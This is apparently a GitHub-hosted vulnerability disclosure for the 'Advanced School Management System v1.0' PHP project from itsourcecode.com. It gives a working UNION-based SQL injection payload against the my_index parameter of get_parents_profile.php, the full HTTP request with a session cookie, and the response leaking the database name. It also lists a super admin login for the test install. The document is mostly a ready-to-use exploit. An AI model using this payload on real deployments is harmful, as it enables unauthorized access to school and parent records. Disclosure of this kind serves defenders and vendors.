<> Code   ⊙ Issues   ⑃ Pull requests   ⊳ Actions   ⊞ Projects   ⊙ Security   ⩘ Insights

ⵚ main ⌄   ···

bug_report / vendors / itsourcecode.com / advanced-school-management-system / SQLi-10.md

debug601 Create SQLi-10.md   ⟳ History

ⵄ 1 contributor

28 lines (19 sloc)   1.18 KB   ···

Advanced School Management System v1.0 by itsourcecode.com has SQL injection

Login account: suarez081119@gmail.com/12345 (Super Admin account)

vendors: https://itsourcecode.com/free-projects/php-project/advanced-school-management-system-in-php-with-source-code/

Vulnerability File: /school/model/get_parents_profile.php?my_index=

Vulnerability location: /school/model/get_parents_profile.php?my_index=,my_index

[+] Payload: /school/model/get_parents_profile.php?my_index=-1'%20union%20select%201,2,3,database(),5,6,7,8,9,10,11,12,13,14,15--+ // Leak place ---> my_index

Current database name: std_db,length is 6

```
GET /school/model/get_parents_profile.php?my_index=-1'%20union%20select%201,2,3,data
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
```

```
GET
/school/model/get_parents_profile.php?my_index=-1'%20u
nion%20select%201,2,3,database(),5,6,7,8,9,10,11,12,13
,14,15--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64;
rv:46.0) Gecko/20100101 Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,
*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=kh42r202aj35u61brcutn42s96
Connection: close
```

```
HTTP/1.1 200 OK
Date: Sat, 04 Jun 2022 01:19:59 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Content-Length: 376
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>:  Trying to access array offset on value of type null in
<b>C:\xampp\htdocs\school\model\get_parents_profile.php</b> on line <b>15</b><br />
<br />
<b>Warning</b>:  Trying to access array offset on value of type null in
<b>C:\xampp\htdocs\school\model\get_parents_profile.php</b> on line <b>15</b><br />
["1","std_db","5","6","7","8","9","10",null,null]
```